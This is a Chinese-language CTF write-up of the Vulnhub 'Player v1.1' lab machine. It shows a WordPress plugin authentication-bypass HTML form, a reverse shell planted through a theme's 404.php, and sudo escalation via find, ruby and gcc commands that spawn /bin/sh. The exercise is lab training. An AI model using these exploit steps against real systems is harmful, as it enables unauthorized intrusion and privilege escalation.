首页 > 其他分享 >Vulnhub:Player-v1.1靶机

Vulnhub:Player-v1.1靶机

时间:2023-02-06 22:55:22浏览次数:38  
标签:111.178 sudo 192.168 v1.1 Player gtfobins Vulnhub wp php

kali:192.168.111.111

靶机:192.168.111.178

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.178

image

访问80端口发现存在一个目录

image

访问该目录发现是wordpress

image

wpscan扫描发现存在一个插件,和一个用户:wp-local

image

image

访问该连接http://192.168.111.178/g@web/index.php/wp-json/wp/v2/users/?per_page=100&page=1,发现密码hackNos@9012!!

image

该插件存在越权

image

image

漏洞利用

访问该地址http://192.168.111.178/g@web/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/wpsp_getCatName.php,添加以下html代码

<body>
<form action="http://192.168.111.178/g@web/wp-admin/admin-ajax.php" method="post">
Username: <input type="text" name="username" value="administrator">
<input type="hidden" name="email" value="sth">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" name="">
</form>
</body>

image

输入框填入发现的wp-local用户名,之后点按钮提交

image

然后访问http://192.168.111.178/g@web/wp-admin进入后台

image

修改网站源码,写入kali自带的php反弹shel脚本/usr/share/webshells/php/php-reverse-shell.php

image

写入完成后访问http://192.168.111.178/g@web/wp-content/themes/twentyseventeen/404.php

image

提权

使用之前发现的密码hackNos@9012!!,切换到security用户,查看sudo -l

image

提权方法https://gtfobins.github.io/gtfobins/find/#sudo

image

输入命令sudo -u hackNos-boat find . -exec /bin/sh \; -quit,切换到hackNos-boat用户

image

hackNos-boat用户sudo -l

image

提权方法:https://gtfobins.github.io/gtfobins/ruby/#sudo

image

输入命令sudo -u hunter ruby -e 'exec "/bin/sh"',切换到hunter用户

image

hunter用户sudo -l

image

提权方法:https://gtfobins.github.io/gtfobins/gcc/#sudo

image

输入命令:sudo -u root gcc -wrapper /bin/sh,-s .,切换到root用户

image

获得flag

image

标签:111.178,sudo,192.168,v1.1,Player,gtfobins,Vulnhub,wp,php
From: https://www.cnblogs.com/ctostm/p/17096964.html

相关文章